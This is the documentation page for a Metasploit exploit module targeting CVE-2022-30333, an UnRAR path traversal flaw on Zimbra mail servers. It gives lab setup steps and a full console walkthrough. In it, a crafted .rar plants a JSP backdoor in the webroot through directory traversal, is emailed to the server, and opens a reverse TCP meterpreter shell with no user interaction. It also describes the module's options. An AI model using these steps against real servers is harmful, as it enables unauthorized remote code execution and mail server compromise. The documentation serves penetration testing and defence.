## Vulnerable Application

This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier) on Zimbra. You can get the vulnerable version of `unrar` here:

* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)

Zimbra is the specific target, because certain Zimbra versions use `unrar` to scan incoming email. Specifically, the following versions of Zimbra, assuming the vulnerable version of `unrar` is installed, are affected:

* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)

Installing the vulnerable versions of Zimbra is a pain, unfortunately. Currently, the following command works to downgrade Zimbra from the current version:

```
# apt-get install zimbra-patch=8.8.15.1651873147.p31.1-1.u18 zimbra-mta-patch=8.8.15.1651844231.p31.1-1.u18 zimbra-proxy-patch=8.8.15.1651844231.p31.1-1.u18
# reboot
```

And to verify:

```
$ sudo -u zimbra /opt/zimbra/bin/zmcontrol -v
Release 8.8.15.GA.3869.UBUNTU18.64 UBUNTU18_64 FOSS edition, Patch 8.8.15_P31.1.
```

Followed by specifically installing the vulnerable version of `unrar` linked above. Downpatching Zimbra like that is really finnicky, though, so that likely won't always work.

## Verification Steps

To exploit Zimbra, first load the module and generate the .rar file:

```
msf > use exploit/linux/http/zimbra_unrar_cve_2022_30333
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(linux/http/zimbra_unrar_cve_2022_30333) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf exploit(linux/http/zimbra_unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
RHOSTS => 10.0.0.154
msf exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit

[*] Started reverse TCP handler on 10.0.0.146:4444 
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[...] waiting [...]
```

Then, email that file to any user (including a non-existent mailbox) on the Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract it to check for malware with no user interaction. Metasploit should see the malicious file extracted and get a session:

```
[...]
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Sending stage (3020772 bytes) to 10.0.0.154
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:39710) at 2022-07-27 13:18:03 -0700

meterpreter > getuid
Server username: zimbra
```

## Options

### `FILENAME`

The filename to generate - defaults to `payload.rar`, but can be changed on the filesystem or whatever.

### `TARGET_PATH`

The path (traversal included) where the payload will extract to. The default is the webroot, which is usually pretty safe.

### `TARGET_FILENAME`

The actual filename. It really should end with `.jsp`, otherwise it won't execute.

By default, it's a random string with `.jsp` on the end. That should work fine, especially because we can't overwrite files and don't want to use the same payload name more than once.

### `TRIGGER_PAYLOAD`

A boolean, default `true`, that determines whether we use HTTP requests to trigger the .jsp payload. Set to `false` to trigger the payload manually.

### `ListenerTimeout`

The number of seconds to wait for a new session (default = `0`, or infinite).

### `CheckInterval`

The frequency with which to check for the payload on the server. Every `CheckInterval`, it performs an HTTP request to the payload path.
